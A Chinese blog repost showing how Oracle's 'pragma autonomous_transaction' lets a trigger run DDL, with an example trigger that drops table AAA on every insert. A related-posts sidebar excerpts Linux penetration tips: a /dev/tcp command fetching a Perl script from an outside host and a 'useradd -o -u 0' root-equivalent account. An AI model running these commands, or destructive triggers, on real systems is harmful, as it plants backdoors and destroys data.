文档章节

oracle 触发器 pragma autonomous_transaction

陈爱茹cx1992
 陈爱茹cx1992
发布于 2016/07/26 17:33
字数 76
阅读 4
收藏 0
点赞 0
评论 0
一般情况下在触发器中是不能使用DDL语句的,使用自治事务可以实现
可以在触发器中加入:
        pragma autonomous_transaction; 表示自由事务处理。
CREATE OR REPLACE TRIGGER temp_ais
AFTER insert  ON atest
for each row
DECLARE
pragma autonomous_transaction;
BEGIN
  execute immediate 'DROP TABLE AAA'; 
end;

本文转载自:http://blog.csdn.net/ruru7989/article/details/30712987

共有 人打赏支持
陈爱茹cx1992
粉丝 0
博文 59
码字总数 0
作品 0
济南
程序员
Oracle 11g 的新特性 —— 组合触发器 (Compound Triggers)

之前我们介绍了 Oracle 11g 新特性中的 虚拟列 和 只读表,今天我们介绍另外一个新特性 —— 组合触发器。 在以前版本的 Oracle 中,你可通过 FOLLOWS 关键字来控制触发器执行的顺序,例如:...

红薯 ⋅ 2012/07/26 ⋅ 3

PostgreSQL 匿名自治事务补丁(翻译)

原文链接 author Gilles Darold 2016-09-08 译者: 小次郎@飞象 8月19日我在以前的帖子中提到的 PostgreSQL 匿名自主事务的两个等价实现(使用不同的方法) 8月31日,Peter Eisentraut 提交了补...

MtrS ⋅ 2016/09/14 ⋅ 0

【强烈强烈推荐】《ORACLE PL/SQL编程详解》全原创(共八篇)--系列文章导航

《ORACLE PL/SQL编程详解》 系列文章目录导航 ——通过知识共享树立个人品牌。 本是成书的,但后来做其他事了,就无偿的贡献出来,被读者夸其目前为止最“实在、经典”的写ORACLE PL/SQL编程...

yonghu86 ⋅ 2012/07/30 ⋅ 0

写在SQL注入后

1. 查询语句后只能直接调用函数,不能直接调用存储过程,例如:select function() from dual可以,select procedure() from dual不行; 2. 查询语句中无法执行DML或DDL操作,也就是说如果被调...

技术小甜 ⋅ 2017/11/16 ⋅ 0

[译稿]PostgreSQL 中匿名事务的使用

原文链接 自主事务是从一个主事务启动的另一个事务,用于执行独立于调用事务提交或取消的SQL命令。 最经典的用例是将用户在数据库上完成的所有操作插入日志记录表,无论事务成功还是失败。使...

MtrS ⋅ 2016/11/07 ⋅ 0

[Oracle] 利用自治事务实现审计功能

在一个事务(外层事务)中可以定义一个或几个自治事务。自治事务可以独立commit,不对外层事务产生影响,同样外层事务的 rollback 也对自治事务没有影响。 假设现在有这样一个需求,不能对某个...

长平狐 ⋅ 2013/06/03 ⋅ 0

[Oracle] 利用自治事务实现审计功能

在一个事务(外层事务)中可以定义一个或几个自治事务。自治事务可以独立commit,不对外层事务产生影响,同样外层事务的 rollback 也对自治事务没有影响。 假设现在有这样一个需求,不能对某个...

长平狐 ⋅ 2013/06/03 ⋅ 0

linux渗透技巧总结

无wget nc等下载工具时下载文件 exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0n" >&5 && cat<&5 > c.pl 2. Linux添加uid为0的用户 useradd -o -u 0 cnbird 3. bash去掉his......

0-1 ⋅ 2013/03/26 ⋅ 0

PL/SQL 基础知识

pl/sql中的四种循环 loop exit when c_page >10;cpage := cpage+1;dbmsoutput.putline('cpage : ' || cpage);end loop; while c_page<20 loop cpage := cpage+1; dbms_output.put_line('c_pa......

王大叔爱编程 ⋅ 2014/08/13 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

对于程序员的招聘问题,作为软件人的一些吐槽和建议

作为软件人,找工作有时候似乎挺苦逼的。 说真的,让我去掉前面这句中“似乎”二字吧。就是苦逼!很多人都曾抱怨处在招聘的一方很糟糕——我们没有任何可靠的方式来甄别会写代码并且写得好的...

老道士 ⋅ 23分钟前 ⋅ 0

HDFS原理学习

一、概述 1、 Hadoop整合了众多的文件系统,首先提供了一个高层的文件系统抽象org.apache.hadoop.fs.FileSystem。然后有各个文件系统的实现类。 2、Hadoop是JAVA编写的,不同文件系统之间的交...

cjxcloud ⋅ 27分钟前 ⋅ 0

Linux下MySQL表名不区分大小写的设置方法(抄袭别人的)

Linux下MySQL表名不区分大小写的设置方法 MySQL表名不区分大小写的设置方法 在用centox安装mysql后,把项目的数据库移植了过去,发现一些表的数据查不到,排查了一下问题,最后发现是表名的大...

随风而浮沉 ⋅ 32分钟前 ⋅ 0

ubuntu下安装宋体simsun

sudo cp simsun.ttc /usr/share/fonts cd /usr/share/fonts sudo chmod 644 simsun.ttc 更新字体缓存: 代码: sudo mkfontscale 代码: sudo mkfontdir 代码: sudo fc-cache -fsv 安装chrome扩......

wangxuwei ⋅ 33分钟前 ⋅ 0

利用 ssh 传输文件

Linux 下一般可以用 scp 命令通过 ssh 传送文件: #把服务器上的 /home/user/a.txt 发送到本机的 /var/www/local_dir 目录下scp username@servername:/home/user/a.txt /var/www/local_dir...

大灰狼时间 ⋅ 43分钟前 ⋅ 0

web3j教程:android和java程序员如何使用web3j开发区块链以太坊

如何使用web3j为Java应用或Android App增加以太坊区块链支持,本教程内容即涉及以太坊中的核心概念,例如账户管理包括账户的创建、钱包创建、交易转账,交易与状态、智能合约开发与交互、过滤...

智能合约 ⋅ 今天 ⋅ 0

web3j开发java或android以太坊智能合约快速入门

web3j简介 web3j是一个轻量级、高度模块化、响应式、类型安全的Java和Android类库提供丰富API,用于处理以太坊智能合约及与以太坊网络上的客户端(节点)进行集成。 可以通过它进行以太坊区块链...

笔阁 ⋅ 今天 ⋅ 0

一起读书《深入浅出nodejs》-异步I/O

异步I/O “异步”这个名词其实很早就诞生了,但它大规模流行却是在Web 2.0浪潮中,它伴随着AJAX的第一个A(Asynchronous)席卷了Web。 为什么要异步I/O 关于异步I/O为何在Node里如此重要,这与...

小草先森 ⋅ 今天 ⋅ 0

JVM各种问题

1、如果启动什么都不设,会怎样? 先来看一个命令 [root@localhost bin]# java -XX:+PrintCommandLineFlags -version -XX:InitialHeapSize=29899008 -XX:MaxHeapSize=478384128 -XX:+PrintCo......

算法之名 ⋅ 今天 ⋅ 0

SAS笔记-宏2

宏是一种文本,一般来说其编译是在程序执行之前。 宏变量的创建 %let语句 %let macro_variables = text; %let是常见的宏变量建立方式,其编译就在执行前。如下例中,想要宏变量test等于数据集...

tonorth123 ⋅ 今天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部